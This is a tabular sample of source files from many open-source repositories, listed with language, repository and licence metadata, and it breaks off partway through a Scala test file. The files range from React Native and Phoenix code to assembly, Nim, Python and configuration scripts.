content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
|---|---|---|---|---|---|
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#import "ABI41_0_0RCTAppState.h"
#import <ABI41_0_0FBReactNativeSpec/ABI41_0_0FBReactNativeSpec.h>
#import <ABI41_0_0React/ABI41_0_0RCTAssert.h>
#import <ABI41_0_0React/ABI41_0_0RCTBridge.h>
#import <ABI41_0_0React/ABI41_0_0RCTEventDispatcher.h>
#import <ABI41_0_0React/ABI41_0_0RCTUtils.h>
#import "ABI41_0_0CoreModulesPlugins.h"
static NSString *ABI41_0_0RCTCurrentAppState()
{
static NSDictionary *states;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
states = @{@(UIApplicationStateActive) : @"active", @(UIApplicationStateBackground) : @"background"};
});
if (ABI41_0_0RCTRunningInAppExtension()) {
return @"extension";
}
return states[@(ABI41_0_0RCTSharedApplication().applicationState)] ?: @"unknown";
}
@interface ABI41_0_0RCTAppState () <ABI41_0_0NativeAppStateSpec>
@end
@implementation ABI41_0_0RCTAppState {
NSString *_lastKnownState;
}
ABI41_0_0RCT_EXPORT_MODULE()
+ (BOOL)requiresMainQueueSetup
{
return YES;
}
- (dispatch_queue_t)methodQueue
{
return dispatch_get_main_queue();
}
- (ABI41_0_0facebook::ABI41_0_0React::ModuleConstants<JS::NativeAppState::Constants>)constantsToExport
{
return (ABI41_0_0facebook::ABI41_0_0React::ModuleConstants<JS::NativeAppState::Constants>)[self getConstants];
}
- (ABI41_0_0facebook::ABI41_0_0React::ModuleConstants<JS::NativeAppState::Constants>)getConstants
{
return ABI41_0_0facebook::ABI41_0_0React::typedConstants<JS::NativeAppState::Constants>({
.initialAppState = ABI41_0_0RCTCurrentAppState(),
});
}
#pragma mark - Lifecycle
- (NSArray<NSString *> *)supportedEvents
{
return @[ @"appStateDidChange", @"memoryWarning" ];
}
- (void)startObserving
{
for (NSString *name in @[
UIApplicationDidBecomeActiveNotification,
UIApplicationDidEnterBackgroundNotification,
UIApplicationDidFinishLaunchingNotification,
UIApplicationWillResignActiveNotification,
UIApplicationWillEnterForegroundNotification
]) {
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(handleAppStateDidChange:)
name:name
object:nil];
}
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(handleMemoryWarning)
name:UIApplicationDidReceiveMemoryWarningNotification
object:nil];
}
- (void)stopObserving
{
[[NSNotificationCenter defaultCenter] removeObserver:self];
}
- (void)invalidate
{
[self stopObserving];
}
#pragma mark - App Notification Methods
- (void)handleMemoryWarning
{
if (self.bridge) {
[self sendEventWithName:@"memoryWarning" body:nil];
}
}
- (void)handleAppStateDidChange:(NSNotification *)notification
{
NSString *newState;
if ([notification.name isEqualToString:UIApplicationWillResignActiveNotification]) {
newState = @"inactive";
} else if ([notification.name isEqualToString:UIApplicationWillEnterForegroundNotification]) {
newState = @"background";
} else {
newState = ABI41_0_0RCTCurrentAppState();
}
if (![newState isEqualToString:_lastKnownState]) {
_lastKnownState = newState;
if (self.bridge) {
[self sendEventWithName:@"appStateDidChange" body:@{@"app_state" : _lastKnownState}];
}
}
}
#pragma mark - Public API
/**
* Get the current background/foreground state of the app
*/
ABI41_0_0RCT_EXPORT_METHOD(getCurrentAppState : (ABI41_0_0RCTResponseSenderBlock)callback error : (__unused ABI41_0_0RCTResponseSenderBlock)error)
{
callback(@[ @{@"app_state" : ABI41_0_0RCTCurrentAppState()} ]);
}
- (std::shared_ptr<ABI41_0_0facebook::ABI41_0_0React::TurboModule>)
getTurboModuleWithJsInvoker:(std::shared_ptr<ABI41_0_0facebook::ABI41_0_0React::CallInvoker>)jsInvoker
nativeInvoker:(std::shared_ptr<ABI41_0_0facebook::ABI41_0_0React::CallInvoker>)nativeInvoker
perfLogger:(id<ABI41_0_0RCTTurboModulePerformanceLogger>)perfLogger
{
return std::make_shared<ABI41_0_0facebook::ABI41_0_0React::NativeAppStateSpecJSI>(self, jsInvoker, nativeInvoker, perfLogger);
}
@end
Class ABI41_0_0RCTAppStateCls(void)
{
return ABI41_0_0RCTAppState.class;
}
| Objective-C++ | 5 | ahmadtech199/expo | ios/versioned-react-native/ABI41_0_0/ReactNative/React/CoreModules/ABI41_0_0RCTAppState.mm | [
"Apache-2.0",
"MIT"
] |
%p{ style: 'font-size:18px; text-align:center; line-height:30px;' }
- project_link = link_to(@project.full_name, project_url(@project), style: "color:#3777b0; text-decoration:none; display:block;")
= _('Your CSV export of %{count} from project %{project_link} has been added to this email as an attachment.').html_safe % { count: pluralize(@written_count, type.to_s.titleize.downcase), project_link: project_link }
- if @truncated
%p
= _('This attachment has been truncated to avoid exceeding the maximum allowed attachment size of %{size_limit}. %{written_count} of %{count} %{issuables} have been included. Consider re-exporting with a narrower selection of %{issuables}.') % { written_count: @written_count, count: @count, issuables: type.to_s.pluralize, size_limit: @size_limit }
| Haml | 4 | glimmerhq/glimmerhq | app/views/notify/_issuable_csv_export.html.haml | [
"MIT"
] |
; v0.2.8
; https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.py
[Components]
Name: "pdf\pdfid"; Description: "pdfid"; Types: full;
[Files]
Source: "{#MySrcDir}\pdf\pdfid.py"; DestDir: "{app}\programming\winpython\scripts"; Components: "pdf\pdfid"; Flags: ignoreversion recursesubdirs createallsubdirs | Inno Setup | 0 | reckdo/retoolkit | src/installer/pdf/pdfid.iss | [
"Apache-2.0"
] |
/**
* Classes adapting Spring's Reactive WebSocket API to and from WebSocket runtimes.
*/
@NonNullApi
@NonNullFields
package org.springframework.web.reactive.socket.adapter;
import org.springframework.lang.NonNullApi;
import org.springframework.lang.NonNullFields;
| Java | 3 | nicchagil/spring-framework | spring-webflux/src/main/java/org/springframework/web/reactive/socket/adapter/package-info.java | [
"Apache-2.0"
] |
discard """
output: "####"
"""
# unfortunately our tester doesn't support multiple lines of compiler
# error messages yet...
# bug #1562
type Foo* {.pure, final.} = object
elt: float
template defineOpAssign(T, op: untyped) =
proc `op`*(v: var T, w: T) {.inline.} =
for i in 0..1:
`op`(v.elt, w.elt)
const ATTEMPT = 0
when ATTEMPT == 0:
# FAILS: defining `/=` with template calling template
# ERROR about sem.nim line 144
template defineOpAssigns(T: untyped) =
mixin `/=`
defineOpAssign(T, `/=`)
defineOpAssigns(Foo)
# bug #1543
import sequtils
(var i = @[""];i).applyIt(it)
# now works:
echo "##", i[0], "##"
| Nimrod | 5 | JohnAD/Nim | tests/template/twrongmapit.nim | [
"MIT"
] |
Summer dose add with 2 3 4 5 6&
dose sum
| Dogescript | 0 | erinkeith/dogescript | test/spec/dose/with-args-chained/source.djs | [
"MIT"
] |
%%BoundingBox: 44 527 80 559
| BitBake | 0 | latex3/latex2e | required/graphics/testfiles/support/foobΓ‘.eps.bb | [
"LPPL-1.3c"
] |
* TODO and agenda code for Leisure
'use strict'
define ['./org', './docOrg', './editor', './editorSupport', 'lodash', 'jquery'], (Org, DocOrg, Editor, EditorSupport, _, $)->
{
parseOrgMode
} = Org
{
computeNewStructure
} = Editor
class Todo
constructor: (@data, inputStates)->
inputStates = inputStates || stdTodo
@states = {}
todoPat = ''
prev = null
for state in inputStates.todo.concat inputStates.done
state.name = state.name.toUpperCase()
@states[state.name] = state
if prev
state.prev = prev
prev.next = state
prev = state
todoPat += "\\b#{state.name}\\b|"
@startState = inputStates.todo[0] || inputStates.done[0]
if prev
@endState = prev
# @startState.prev = prev
# prev.next = @startState
@statePat = new RegExp "^(\\*+)( +(#{todoPat}) *)", 'i'
shiftRight: (docPos, block)->
block = @data.getBlock (block || @data.blockForOffset docPos)
if block.type == 'headline'
@cycleTodo block, true
true
shiftLeft: (docPos, block)->
block = @data.getBlock (block || @data.blockForOffset docPos)
if block.type == 'headline'
@cycleTodo block, false
true
Cycle the todo state for a headline
cycleTodo: (block, forward)->
if m = block.text.match @statePat
state = m[2].trim()
next = if state
if forward then @states[state.toUpperCase()]?.next?.name || ''
else @states[state.toUpperCase()]?.prev?.name || ''
else if forward then @startState.name
else @endState.name
newText = m[1] + ' ' + next + (if next then ' ' else '') + block.text.substring m[0].length
start = @data.offsetForBlock block
@data.replaceText {start, end: start + block.text.length, text: newText, source: 'edit'}
bind: (opts)->
opts.bindings['S-RIGHT'] = (editor, e, r)=>
if @shiftRight opts.editor.docOffset(r)
e.originalEvent.stopPropagation()
e.originalEvent.preventDefault()
opts.bindings['S-LEFT'] = (editor, e, r)=>
if @shiftLeft opts.editor.docOffset(r)
e.originalEvent.stopPropagation()
e.originalEvent.preventDefault()
todoForEditor = (ed, todoDefs)-> new Todo(ed.options.data, todoDefs).bind ed.options
stdTodo =
todo: [
name: 'TODO'
]
done: [
name: 'DONE'
]
{
Todo
todoForEditor
}
| Literate CoffeeScript | 4 | zot/Leisure | src/todo.litcoffee | [
"Zlib"
] |
defmodule <%= inspect auth_module %>Test do
use <%= inspect context.web_module %>.ConnCase<%= test_case_options %>
alias <%= inspect context.module %>
alias <%= inspect context.web_module %>.<%= inspect Module.concat(schema.web_namespace, schema.alias) %>Auth
import <%= inspect context.module %>Fixtures
@remember_me_cookie "_<%= web_app_name %>_<%= schema.singular %>_remember_me"
setup %{conn: conn} do
conn =
conn
|> Map.replace!(:secret_key_base, <%= inspect endpoint_module %>.config(:secret_key_base))
|> init_test_session(%{})
%{<%= schema.singular %>: <%= schema.singular %>_fixture(), conn: conn}
end
describe "log_in_<%= schema.singular %>/3" do
test "stores the <%= schema.singular %> token in the session", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = <%= inspect schema.alias %>Auth.log_in_<%= schema.singular %>(conn, <%= schema.singular %>)
assert token = get_session(conn, :<%= schema.singular %>_token)
assert get_session(conn, :live_socket_id) == "<%= schema.plural %>_sessions:#{Base.url_encode64(token)}"
assert redirected_to(conn) == "/"
assert <%= inspect context.alias %>.get_<%= schema.singular %>_by_session_token(token)
end
test "clears everything previously stored in the session", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = conn |> put_session(:to_be_removed, "value") |> <%= inspect schema.alias %>Auth.log_in_<%= schema.singular %>(<%= schema.singular %>)
refute get_session(conn, :to_be_removed)
end
test "redirects to the configured path", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = conn |> put_session(:<%= schema.singular %>_return_to, "/hello") |> <%= inspect schema.alias %>Auth.log_in_<%= schema.singular %>(<%= schema.singular %>)
assert redirected_to(conn) == "/hello"
end
test "writes a cookie if remember_me is configured", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = conn |> fetch_cookies() |> <%= inspect schema.alias %>Auth.log_in_<%= schema.singular %>(<%= schema.singular %>, %{"remember_me" => "true"})
assert get_session(conn, :<%= schema.singular %>_token) == conn.cookies[@remember_me_cookie]
assert %{value: signed_token, max_age: max_age} = conn.resp_cookies[@remember_me_cookie]
assert signed_token != get_session(conn, :<%= schema.singular %>_token)
assert max_age == 5_184_000
end
end
describe "logout_<%= schema.singular %>/1" do
test "erases session and cookies", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
<%= schema.singular %>_token = <%= inspect context.alias %>.generate_<%= schema.singular %>_session_token(<%= schema.singular %>)
conn =
conn
|> put_session(:<%= schema.singular %>_token, <%= schema.singular %>_token)
|> put_req_cookie(@remember_me_cookie, <%= schema.singular %>_token)
|> fetch_cookies()
|> <%= inspect schema.alias %>Auth.log_out_<%= schema.singular %>()
refute get_session(conn, :<%= schema.singular %>_token)
refute conn.cookies[@remember_me_cookie]
assert %{max_age: 0} = conn.resp_cookies[@remember_me_cookie]
assert redirected_to(conn) == "/"
refute <%= inspect context.alias %>.get_<%= schema.singular %>_by_session_token(<%= schema.singular %>_token)
end
test "broadcasts to the given live_socket_id", %{conn: conn} do
live_socket_id = "<%= schema.plural %>_sessions:abcdef-token"
<%= inspect(endpoint_module) %>.subscribe(live_socket_id)
conn
|> put_session(:live_socket_id, live_socket_id)
|> <%= inspect(schema.alias) %>Auth.log_out_<%= schema.singular %>()
assert_receive %Phoenix.Socket.Broadcast{event: "disconnect", topic: ^live_socket_id}
end
test "works even if <%= schema.singular %> is already logged out", %{conn: conn} do
conn = conn |> fetch_cookies() |> <%= inspect schema.alias %>Auth.log_out_<%= schema.singular %>()
refute get_session(conn, :<%= schema.singular %>_token)
assert %{max_age: 0} = conn.resp_cookies[@remember_me_cookie]
assert redirected_to(conn) == "/"
end
end
describe "fetch_current_<%= schema.singular %>/2" do
test "authenticates <%= schema.singular %> from session", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
<%= schema.singular %>_token = <%= inspect context.alias %>.generate_<%= schema.singular %>_session_token(<%= schema.singular %>)
conn = conn |> put_session(:<%= schema.singular %>_token, <%= schema.singular %>_token) |> <%= inspect schema.alias %>Auth.fetch_current_<%= schema.singular %>([])
assert conn.assigns.current_<%= schema.singular %>.id == <%= schema.singular %>.id
end
test "authenticates <%= schema.singular %> from cookies", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
logged_in_conn =
conn |> fetch_cookies() |> <%= inspect schema.alias %>Auth.log_in_<%= schema.singular %>(<%= schema.singular %>, %{"remember_me" => "true"})
<%= schema.singular %>_token = logged_in_conn.cookies[@remember_me_cookie]
%{value: signed_token} = logged_in_conn.resp_cookies[@remember_me_cookie]
conn =
conn
|> put_req_cookie(@remember_me_cookie, signed_token)
|> <%= inspect schema.alias %>Auth.fetch_current_<%= schema.singular %>([])
assert get_session(conn, :<%= schema.singular %>_token) == <%= schema.singular %>_token
assert conn.assigns.current_<%= schema.singular %>.id == <%= schema.singular %>.id
end
test "does not authenticate if data is missing", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
_ = <%= inspect context.alias %>.generate_<%= schema.singular %>_session_token(<%= schema.singular %>)
conn = <%= inspect schema.alias %>Auth.fetch_current_<%= schema.singular %>(conn, [])
refute get_session(conn, :<%= schema.singular %>_token)
refute conn.assigns.current_<%= schema.singular %>
end
end
describe "redirect_if_<%= schema.singular %>_is_authenticated/2" do
test "redirects if <%= schema.singular %> is authenticated", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = conn |> assign(:current_<%= schema.singular %>, <%= schema.singular %>) |> <%= inspect schema.alias %>Auth.redirect_if_<%= schema.singular %>_is_authenticated([])
assert conn.halted
assert redirected_to(conn) == "/"
end
test "does not redirect if <%= schema.singular %> is not authenticated", %{conn: conn} do
conn = <%= inspect schema.alias %>Auth.redirect_if_<%= schema.singular %>_is_authenticated(conn, [])
refute conn.halted
refute conn.status
end
end
describe "require_authenticated_<%= schema.singular %>/2" do
test "redirects if <%= schema.singular %> is not authenticated", %{conn: conn} do
conn = conn |> fetch_flash() |> <%= inspect schema.alias %>Auth.require_authenticated_<%= schema.singular %>([])
assert conn.halted
assert redirected_to(conn) == Routes.<%= schema.route_helper %>_session_path(conn, :new)
assert get_flash(conn, :error) == "You must log in to access this page."
end
test "stores the path to redirect to on GET", %{conn: conn} do
halted_conn =
%{conn | path_info: ["foo"], query_string: ""}
|> fetch_flash()
|> <%= inspect schema.alias %>Auth.require_authenticated_<%= schema.singular %>([])
assert halted_conn.halted
assert get_session(halted_conn, :<%= schema.singular %>_return_to) == "/foo"
halted_conn =
%{conn | path_info: ["foo"], query_string: "bar=baz"}
|> fetch_flash()
|> <%= inspect schema.alias %>Auth.require_authenticated_<%= schema.singular %>([])
assert halted_conn.halted
assert get_session(halted_conn, :<%= schema.singular %>_return_to) == "/foo?bar=baz"
halted_conn =
%{conn | path_info: ["foo"], query_string: "bar", method: "POST"}
|> fetch_flash()
|> <%= inspect schema.alias %>Auth.require_authenticated_<%= schema.singular %>([])
assert halted_conn.halted
refute get_session(halted_conn, :<%= schema.singular %>_return_to)
end
test "does not redirect if <%= schema.singular %> is authenticated", %{conn: conn, <%= schema.singular %>: <%= schema.singular %>} do
conn = conn |> assign(:current_<%= schema.singular %>, <%= schema.singular %>) |> <%= inspect schema.alias %>Auth.require_authenticated_<%= schema.singular %>([])
refute conn.halted
refute conn.status
end
end
end
| Elixir | 4 | faheempatel/phoenix | priv/templates/phx.gen.auth/auth_test.exs | [
"MIT"
] |
{ signal: [
{ name: 'A', wave: '01........0....', node: '.a........j' },
{ name: 'B', wave: '0.1.......0.1..', node: '..b.......i' },
{ name: 'C', wave: '0..1....0...1..', node: '...c....h..' },
{ name: 'D', wave: '0...1..0.....1.', node: '....d..g...' },
{ name: 'E', wave: '0....10.......1', node: '.....ef....' }
],
edge: [
'a~b t1', 'c-~a t2', 'c-~>d time 3', 'd~-e',
'e~>f', 'f->g', 'g-~>h', 'h~>i some text', 'h~->j'
],
config:{skin:'lowkey'}
}
| JSON5 | 3 | tmr4/wavedrom | test/signal-arcs.json5 | [
"MIT"
] |
#!/bin/bash
docker image build -t spring-data-arangodb:live-test .
docker run -p 8529:8529 -e ARANGO_ROOT_PASSWORD=password --name spring-data-arangodb-live-test spring-data-arangodb:live-test
docker exec spring-data-arangodb-live-test arangosh --server.password password --javascript.execute /setup/arangodb-setup.js | Shell | 3 | DBatOWL/tutorials | persistence-modules/spring-data-arangodb/src/live-test/resources/live-test-setup.sh | [
"MIT"
] |
; Copyright (c) 2009 The Chromium Authors. All rights reserved.
; Use of this source code is governed by a BSD-style license that can be
; found in the LICENSE file.
; This file is just a convenient place for experimenting with x86 encodings.
BITS 32
; sldt to detect which processor we are running on.
sldt eax
sidt [esp]
sidt [esp+2]
lea eax, [fs:0]
mov eax, [fs:0x18]
mov ebx, 0x1234567
mov eax, 0x1234567
rdtsc
push eax
pop eax
mov eax, [ecx]
mov eax, [esp+4]
mov ebx, [esp+4]
lock xadd [eax], eax
lock xadd [ecx], ecx
lock xadd [ecx], eax
jmp eax
jmp edx
lodsd
rep stosb
rep movsb
mov eax, ebx
mov edx, edx
mov eax, eax
stosd
add eax, eax
add edi, ecx
and eax, 0x0000ffff
and ecx, 0x0000ffff
and edx, 0x0000ffff
add edi, 0x12345
add eax, 0x12345
add ecx, 0x12345
push 0x12
push BYTE 0x12
mov eax, [ebp+8]
mov eax, 0x1234
mov [fs:0], eax
call 0x1234
call eax
call ecx
add ebx, BYTE 3
or ecx, 0xffff
or eax, 0xffff
mov eax, [esp+24]
movsd
movsb
jmp blah
blah:
jmp blah
cmp eax, 0x1234567
cmp ecx, 0x1234567
je NEAR blah2
jo NEAR blah2
blah2:
add esp, 12
add esp, BYTE 12
sub esp, BYTE 12
cmp eax, 12
cmp ecx, BYTE 12
cmp WORD [esp+6], 0x6666
push DWORD [edi-4]
push DWORD [edi-8]
push DWORD [edi-12]
push DWORD [edi-16]
push DWORD [edi-20]
x:
loop x
mov edx, [fs:0x4]
cmp ecx, ecx
cmp ecx, ebx
cmp ebx, ebx
mov eax,[dword fs:0x24]
mov eax,[fs:0x24]
mov ecx,[dword fs:0x24]
mov ecx,[fs:0x24]
mov eax, [ebx+12]
mov ebx, [ebx+12]
cmovo eax, eax
mov eax, eax
xchg eax, ebx
xchg ebx, ecx
xchg ebx, [esp+4]
| Assembly | 1 | zealoussnow/chromium | tools/traceline/traceline/stubs.asm | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
type `as.character.Matlab` <class<`Matlab`, `Object`>, ...> => character;
type `close.Matlab` <class<`Matlab`, `Object`>, ...> => null;
type `evaluate` <...> => any;
type `evaluate.Matlab` <class<`Matlab`, `Object`>, ..., character, logical> => any;
type `finalize.Matlab` <class<`Matlab`, `Object`>, ...> => null;
type `getOption.Matlab` <class<`Matlab`, `Object`>, ...> => (double | null);
type `getVariable` <...> => any;
type `getVariable.Matlab` <class<`Matlab`, `Object`>, character, any, ...> => any;
type `isOpen` <...> => logical;
type `isOpen.default` <...> => logical;
type `isOpen.Matlab` <class<`Matlab`, `Object`>, ...> => logical;
type `Matlab` <character, double, logical> => class<`Matlab`, `Object`>;
type `.onAttach` <any, character> => null;
type `.onLoad` <any, character> => any;
type `.onUnload` <any> => class<`matrix`>;
type `open.Matlab` <class<`Matlab`, `Object`>, integer, double, double, ...> => list<any>;
type `readMat` <...> => any;
type `readMat.default` <character | class<`connection`, `file`> | raw[], null, logical, character, character[], double, ...> => list<any>;
type `readResult` <...> => any;
type `readResult.Matlab` <class<`Matlab`, `Object`>, ...> => any;
type `setFunction` <...> => any;
type `setFunction.Matlab` <class<`Matlab`, `Object`>, character, null, character, ...> => list<any>;
type `setOption.Matlab` <class<`Matlab`, `Object`>, ...> => null;
type `setVariable` <...> => any;
type `setVariable.Matlab` <class<`Matlab`, `Object`>, ..., logical> => list<any>;
type `setVerbose` <...> => double;
type `setVerbose.Matlab` <class<`Matlab`, `Object`>, double, ...> => double;
type `startServer` <...> => integer;
type `startServer.Matlab` <class<`Matlab`, `Object`>, null, double, logical, character[], character, ...> => integer;
type `stop_if_not` <...> => null;
type `writeCommand` <...> => any;
type `writeCommand.Matlab` <class<`Matlab`, `Object`>, character, ...> => any;
type `writeMat` <...> => any;
type `writeMat.default` <character | class<`connection`, `file`>, ..., logical, character, class<`function`> | null, any> => any;
| Matlab | 3 | PRL-PRG/contractR | inst/TYPEDECLARATION/R.matlab | [
"Apache-2.0"
] |
#include "pch.h" | C | 0 | ixjf/Windows-driver-samples | serial/serenum/pchsrc.c | [
"MS-PL"
] |
#!/bin/tcsh
set DIR=${1}
set NRUNS=$#argv
echo ${NRUNS}
set i=2
while( ${i} <= ${NRUNS} )
set NRUN=$argv[${i}]
set list=`ls ${DIR}/Global_${NRUN}_*.root`
echo ${list}
hadd Global_${NRUN}.root ${list}
@ i = ${i} + "1"
end
| Tcsh | 3 | ckamtsikis/cmssw | DPGAnalysis/HcalTools/scripts/cmt/glu_runs.csh | [
"Apache-2.0"
] |
del(.Id,
.Properties.creationTime,
.Properties.primaryEndpoints,
.Properties.encryption.services.file.lastEnabledTime,
.Properties.encryption.services.blob.lastEnabledTime,
.Properties.provisioningState,
.Properties.primaryLocation,
.Properties.statusOfPrimary
) | JSONiq | 1 | StefanIvemo/AzOps | src/data/template/Microsoft.Storage/storageAccounts.jq | [
"MIT"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_generateFrequencies
Author: NKey, Garth de Wet (L-H), Dorbedo
Generates frequencies based on the passed parameters to be used in radio settings.
Arguments:
0: Channels <SCALAR>
1: Max frequency <SCALAR>
2: Min frequency <SCALAR>
3: Frequency Round Power <SCALAR>
Return Value:
Frequencies for channels <ARRAY>
Example:
// LR
_frequencies = [TFAR_MAX_LR_CHANNELS,TFAR_MAX_ASIP_FREQ,TFAR_MIN_ASIP_FREQ,TFAR_FREQ_ROUND_POWER] call TFAR_fnc_generateFrequencies;
// SW
_sw_frequencies = [TFAR_MAX_CHANNELS,TFAR_MAX_SW_FREQ,TFAR_MIN_SW_FREQ,TFAR_FREQ_ROUND_POWER] call TFAR_fnc_generateFrequencies;
Public: Yes
*/
params ["_channels", "_max_freq", "_min_freq", "_freq_rp"];
private _frequencies = [];
for "_i" from 0 to _channels step 1 do {
_frequencies pushBack ((random (_max_freq - _min_freq)) + _min_freq);
};
_frequencies apply {QTFAR_ROUND_FREQUENCYP(_x, _freq_rp)}
| SQF | 5 | MrDj200/task-force-arma-3-radio | addons/core/functions/fnc_generateFrequencies.sqf | [
"RSA-MD"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { KeyCode, KeyMod } from 'vs/base/common/keyCodes';
import { ICodeEditor } from 'vs/editor/browser/editorBrowser';
import { EditorAction, registerEditorAction, ServicesAccessor } from 'vs/editor/browser/editorExtensions';
import { CursorChangeReason } from 'vs/editor/common/cursorEvents';
import { CursorMoveCommands } from 'vs/editor/common/cursor/cursorMoveCommands';
import { EditorContextKeys } from 'vs/editor/common/editorContextKeys';
import * as nls from 'vs/nls';
import { KeybindingWeight } from 'vs/platform/keybinding/common/keybindingsRegistry';
export class ExpandLineSelectionAction extends EditorAction {
constructor() {
super({
id: 'expandLineSelection',
label: nls.localize('expandLineSelection', "Expand Line Selection"),
alias: 'Expand Line Selection',
precondition: undefined,
kbOpts: {
weight: KeybindingWeight.EditorCore,
kbExpr: EditorContextKeys.textInputFocus,
primary: KeyMod.CtrlCmd | KeyCode.KeyL
},
});
}
public run(_accessor: ServicesAccessor, editor: ICodeEditor, args: any): void {
args = args || {};
if (!editor.hasModel()) {
return;
}
const viewModel = editor._getViewModel();
viewModel.model.pushStackElement();
viewModel.setCursorStates(
args.source,
CursorChangeReason.Explicit,
CursorMoveCommands.expandLineSelection(viewModel, viewModel.getCursorStates())
);
viewModel.revealPrimaryCursor(args.source, true);
}
}
registerEditorAction(ExpandLineSelectionAction);
| TypeScript | 4 | sbj42/vscode | src/vs/editor/contrib/lineSelection/browser/lineSelection.ts | [
"MIT"
] |
import operator
def strand_sort(arr: list, reverse: bool = False, solution: list = None) -> list:
"""
Strand sort implementation
source: https://en.wikipedia.org/wiki/Strand_sort
:param arr: Unordered input list
:param reverse: Descent ordering flag
:param solution: Ordered items container
Examples:
>>> strand_sort([4, 2, 5, 3, 0, 1])
[0, 1, 2, 3, 4, 5]
>>> strand_sort([4, 2, 5, 3, 0, 1], reverse=True)
[5, 4, 3, 2, 1, 0]
"""
_operator = operator.lt if reverse else operator.gt
solution = solution or []
if not arr:
return solution
sublist = [arr.pop(0)]
for i, item in enumerate(arr):
if _operator(item, sublist[-1]):
sublist.append(item)
arr.pop(i)
# merging sublist into solution list
if not solution:
solution.extend(sublist)
else:
while sublist:
item = sublist.pop(0)
for i, xx in enumerate(solution):
if not _operator(item, xx):
solution.insert(i, item)
break
else:
solution.append(item)
strand_sort(arr, reverse, solution)
return solution
if __name__ == "__main__":
assert strand_sort([4, 3, 5, 1, 2]) == [1, 2, 3, 4, 5]
assert strand_sort([4, 3, 5, 1, 2], reverse=True) == [5, 4, 3, 2, 1]
| Python | 5 | JB1959/Python | sorts/strand_sort.py | [
"MIT"
] |
MEMORY
{
FLASH_TEXT (rw) : ORIGIN = 0x08000000, LENGTH = 64K
RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 20K
}
_stack_size = 2K;
INCLUDE "targets/arm.ld"
| Linker Script | 2 | ybkimm/tinygo | targets/stm32.ld | [
"Apache-2.0"
] |
"""The tomato component."""
| Python | 0 | domwillcode/home-assistant | homeassistant/components/tomato/__init__.py | [
"Apache-2.0"
] |
# @prettier
query Browse($offset:Int){browse(offset:$offset)}
| GraphQL | 3 | fuelingtheweb/prettier | tests/require-pragma/graphql/with-pragma.graphql | [
"MIT"
] |
;;; Vector functions
(defun vconcat (vec &rest vecs)
"Concatentate any number of vectors."
(if (nullp vecs)
vec
(vconcat2 vec (apply vconcat vecs))))
(defun vsplice (vmain start end vins)
"Insert vector over subsection of vector, returning new vector."
(vconcat
(if (= start 0) []
(vsub vmain 0 (1- start)))
vins
(if (= end (vlength vmain)) []
(vsub vmain (1+ end)))))
(defun vfunc (vec &rest args)
"General vector function that does it all-in-one."
(let ((narg (length args)))
(cond
((>= narg 3) (throw 'wrong-number-of-arguments args))
((= 0 narg) vec)
; vget
((and (= 1 narg) (listp (car args)))
(vsub vec (caar args) (cadar args)))
((and (= 1 narg)) (vget vec (car args)))
; vset
((listp (car args)) (vsplice vec (caar args) (cadar args) (cadr args)))
(t (vset vec (car args) (cadr args))))))
(provide 'vector)
| wisp | 4 | skeeto/wisp | wisplib/vector.wisp | [
"Unlicense"
] |
<span style="color: #<?php echo $this->gradientBuilder->create('#000000')
->to('#ff0000', 100)
->build()
->colorAtPercentile(((int)$object->value()))
->toHex() ?>">
<?php echo $this->nodePrinter->print($object) ?>
</span>
| HTML+PHP | 3 | rustamwin/phpbench | templates/html/node/RelativeDeviationNode.phtml | [
"MIT"
] |
package com.taobao.arthas.core.command.model;
/**
* Command execute result
*
* @author gongdewei 2020-03-26
*/
public abstract class ResultModel {
private int jobId;
/**
* Command type (name)
*
* @return
*/
public abstract String getType();
public int getJobId() {
return jobId;
}
public void setJobId(int jobId) {
this.jobId = jobId;
}
}
| Java | 4 | weihubeats/arthas | core/src/main/java/com/taobao/arthas/core/command/model/ResultModel.java | [
"Apache-2.0"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.sql.connector.catalog
import org.mockito.ArgumentMatchers.any
import org.mockito.Mockito.{mock, when}
import org.mockito.invocation.InvocationOnMock
import org.scalatest.Inside
import org.scalatest.matchers.should.Matchers._
import org.apache.spark.SparkFunSuite
import org.apache.spark.sql.catalyst.TableIdentifier
import org.apache.spark.sql.catalyst.analysis.FakeV2SessionCatalog
import org.apache.spark.sql.catalyst.parser.CatalystSqlParser
import org.apache.spark.sql.internal.{SQLConf, StaticSQLConf}
import org.apache.spark.sql.util.CaseInsensitiveStringMap
private case class DummyCatalogPlugin(override val name: String) extends CatalogPlugin {
override def initialize(name: String, options: CaseInsensitiveStringMap): Unit = ()
}
class LookupCatalogSuite extends SparkFunSuite with LookupCatalog with Inside {
import CatalystSqlParser._
